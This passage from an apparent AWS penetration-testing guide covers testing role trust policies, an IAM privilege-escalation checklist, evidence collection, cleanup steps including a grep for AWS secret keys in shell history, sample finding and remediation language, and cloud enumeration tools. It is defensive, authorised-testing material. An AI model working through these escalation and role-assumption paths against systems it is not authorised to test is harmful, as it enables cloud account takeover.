"aws:PrincipalArn": "arn:aws:iam::<ACCOUNT_ID>:role/*"
Test assume role
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
--role-session-name pt-trust-test \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Finding
Role trust policy allows broader assumption than intended.
20. IAM Privilege Escalation Reporting Template
Title
IAM permissions allow privilege escalation to administrative access
Evidence
Starting principal:
arn:aws:iam::<ACCOUNT_ID>:user/<USER>
Permission combination:
iam:PutRolePolicy on arn:aws:iam::<ACCOUNT_ID>:role/<ROLE>
sts:AssumeRole on arn:aws:iam::<ACCOUNT_ID>:role/<ROLE>
Validation:
Successfully assumed arn:aws:sts::<ACCOUNT_ID>:assumed-role/<ROLE>/<SESSION>
Impact
The principal can modify IAM policies or role trust relationships to obtain elevated AWS permissions. Depending on scope, this can lead to full account compromise, workload takeover, data access, or cross-account movement.
Remediation
Remove broad IAM write permissions.
Restrict iam:PassRole to approved roles and services.
Restrict iam:AttachRolePolicy and iam:PutRolePolicy to specific roles.
Use permissions boundaries for role creation.
Deny attachment of AdministratorAccess/IAMFullAccess via SCP.
Require exact trust principals instead of account-wide trust.
Monitor CloudTrail for IAM privilege escalation events.
CloudTrail events to monitor
AttachUserPolicy
PutUserPolicy
AddUserToGroup
CreateAccessKey
CreateLoginProfile
UpdateLoginProfile
CreateRole
AttachRolePolicy
PutRolePolicy
UpdateAssumeRolePolicy
CreatePolicyVersion
SetDefaultPolicyVersion
PassRole
CreateAccessEntry
AssociateAccessPolicy
AssumeRole
21. IAM Privilege Escalation Quick Checklist
[ ] Who am I? sts get-caller-identity
[ ] Am I an IAM user or assumed role?
[ ] Can I list roles and policies?
[ ] Can I assume any role?
[ ] Can I modify user policies?
[ ] Can I modify role policies?
[ ] Can I modify trust policies?
[ ] Can I create roles?
[ ] Can I attach managed policies?
[ ] Can I create/set policy versions?
[ ] Can I pass privileged roles?
[ ] Can I run compute with passed roles?
[ ] Can I modify EKS access entries?
[ ] Can I assume roles in other accounts?
[ ] Can I access prod from dev?
[ ] Can I reach EKS cluster-admin?
[ ] Did I clean up all test resources?
21. Evidence Collection
Recommended evidence
Capture:
Starting identity
Target assumed role ARN
Account aliases
Target account ID
EKS cluster names
EKS associated access policy
Role trust policy
Role attached/inline policy names
Metadata-only resource listings
Useful commands
Starting identity:
aws sts get-caller-identity
Assumed role proof:
aws sts assume-role \
--role-arn <ROLE_ARN> \
--role-session-name pt-validation \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Active profile proof:
aws --profile <PROFILE> sts get-caller-identity
EKS admin evidence:
aws --profile <PROFILE> eks list-associated-access-policies \
--region "$REGION" \
--cluster-name <CLUSTER_NAME> \
--principal-arn <ROLE_ARN> \
--output yaml
Kubernetes identity:
AWS_PROFILE=<PROFILE> kubectl --context <CONTEXT> auth whoami
Avoid evidence containing
Temporary AWS credentials
Secret values
Tokens
Customer data
Database rows
Kubernetes Secret YAML
22. Cleanup
Unset active environment credentials
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
unset AWS_SESSION_EXPIRATION
unset AWS_PROFILE
Confirm:
aws sts get-caller-identity
Clear AWS CLI assume-role cache
rm -f ~/.aws/cli/cache/*.json 2>/dev/null
Remove AWS CLI test profiles
List profiles:
aws configure list-profiles
Manually edit:
nano ~/.aws/config
nano ~/.aws/credentials
Remove sections like:
[profile tf-prod-direct]
role_arn = arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
source_profile = default
role_session_name = pt-session
region = ap-southeast-2
Do not delete [default] unless intended.
Delete kube contexts
kubectl config get-contexts
kubectl config unset current-context 2>/dev/null || true
for ctx in eks-test-via-tf eks-dev-via-tf prod-via-tf eks-test eks-development; do
kubectl config delete-context "$ctx" 2>/dev/null || true
done
Clear cache:
rm -rf ~/.kube/cache ~/.kube/http-cache 2>/dev/null
Remove test resources
If created:
aws iam delete-role-policy \
--role-name <ROLE_NAME> \
--policy-name PT-Validation-ListOnly
kubectl delete namespace <PT_VALIDATION_NAMESPACE>
aws eks disassociate-access-policy ...
aws eks delete-access-entry ...
Check shell history for secrets
history | grep -Ei 'AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN|SecretAccessKey|SessionToken|ASIA|AKIA'
Remove if necessary from:
~/.zsh_history
~/.bash_history
23. Common Findings and Report Language
Finding: Development principal can assume production role
Severity: Critical if production role has broad permissions.
Evidence:
Starting identity:
arn:aws:iam::<DEV_ACCOUNT>:user/<DEV_USER>
Assumed role:
arn:aws:sts::<PROD_ACCOUNT>:assumed-role/<ROLE_NAME>/<SESSION>
Impact:
A development principal can cross the development/production boundary and assume a production role. Depending on the target role permissions, this may allow production infrastructure modification, EKS administration, access to secrets, CI/CD tampering, or service disruption.
Remediation:
- Remove development principals from production trust policies.
- Avoid trusting entire development accounts.
- Restrict production role assumption to approved CI/CD or break-glass principals.
- Add SCPs blocking dev-to-prod role assumption.
- Monitor
sts:AssumeRole.
Finding: Automation role has production EKS cluster-admin
Evidence:
policyArn: arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy
accessScope:
type: cluster
Impact:
Any principal that can assume the automation role can administer the production Kubernetes cluster.
Nuance:
It may be expected for an automation role to manage clusters. The vulnerability is when lower-trust principals can assume that role.
Finding: Overly broad IAM trust policy
Example:
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:root"
}
or:
"Principal": {
"AWS": "*"
}
with weak conditions.
Impact:
Broad principals may allow unexpected users/roles to assume sensitive roles.
Remediation:
- Trust exact role/user ARNs.
- Add conditions on
aws:PrincipalArn, principal tags, external ID, MFA, or source identity. - Avoid account-wide trust unless necessary.
Finding: Broad IRSA trust policy
Example:
system:serviceaccount:namespace:serviceaccount-*
Impact:
Any matching service account can assume the IAM role. If Kubernetes users can create matching service accounts or tokens, they can obtain AWS credentials.
Remediation:
- Use exact service account subjects.
- Prefer
StringEqualsoverStringLike. - Restrict Kubernetes RBAC for pods/serviceaccounts/token creation.
Finding: Public or cross-account S3 access
Evidence:
Principal: "*"
Action: s3:GetObject
Resource: arn:aws:s3:::bucket/*
Impact:
Sensitive objects may be publicly accessible or accessible by unauthorized external accounts.
Remediation:
- Enable S3 Block Public Access.
- Remove public bucket policies/ACLs.
- Restrict access to required principals.
- Use Access Analyzer findings.
Finding: Inadequate logging or monitoring
Evidence:
CloudTrail not multi-region
CloudTrail not logging
No GuardDuty detector
No Security Hub
No AWS Config recorder
No S3 data events
Impact:
Security incidents may go undetected or lack forensic evidence.
Remediation:
- Enable multi-region CloudTrail.
- Enable log file validation.
- Send logs to central security account.
- Enable GuardDuty, Security Hub, AWS Config.
- Enable relevant data events.
24. Useful Tools
Enumeration and posture tools
Prowler
ScoutSuite
Pacu
Cloudsplaining
Cartography
Steampipe
AWS CLI
CloudFox
enumerate-iam
aws-security-viz
Principal Mapper
Prowler
prowler aws --profile <PROFILE>
Useful for CIS, security best practices, exposed services.
ScoutSuite
scout aws --profile <PROFILE>
Useful for broad cloud posture reporting.
Pacu
pacu
Useful for AWS exploitation simulation and permission testing.
Cloudsplaining
cloudsplaining scan --input-file policy.json
Useful for identifying risky IAM policies.
CloudFox
cloudfox aws --profile <PROFILE> all-checks
Useful for attacker-path style enumeration.
Steampipe
Example query style:
select
name,
arn,
create_date
from
aws_iam_role;
Useful for multi-account inventory and repeatable checks.
Quick Methodology Summary
1. Confirm scope and ROE.
2. Confirm identity.
3. Enumerate account, org, regions.
4. Enumerate IAM users, roles, policies, trust relationships.
5. Identify privilege escalation and assumable roles.
6. Test AssumeRole paths safely.
7. Check cross-account access, especially dev -> prod.
8. Enumerate storage, secrets metadata, compute, databases, network.
9. Review EKS/ECS/Lambda/CI/CD paths.
10. Validate impact with metadata or canaries.
11. Collect clean evidence without secrets.
12. Clean up local profiles, tokens, kube contexts, and test resources.
13. Report root cause, impact, evidence, and remediation.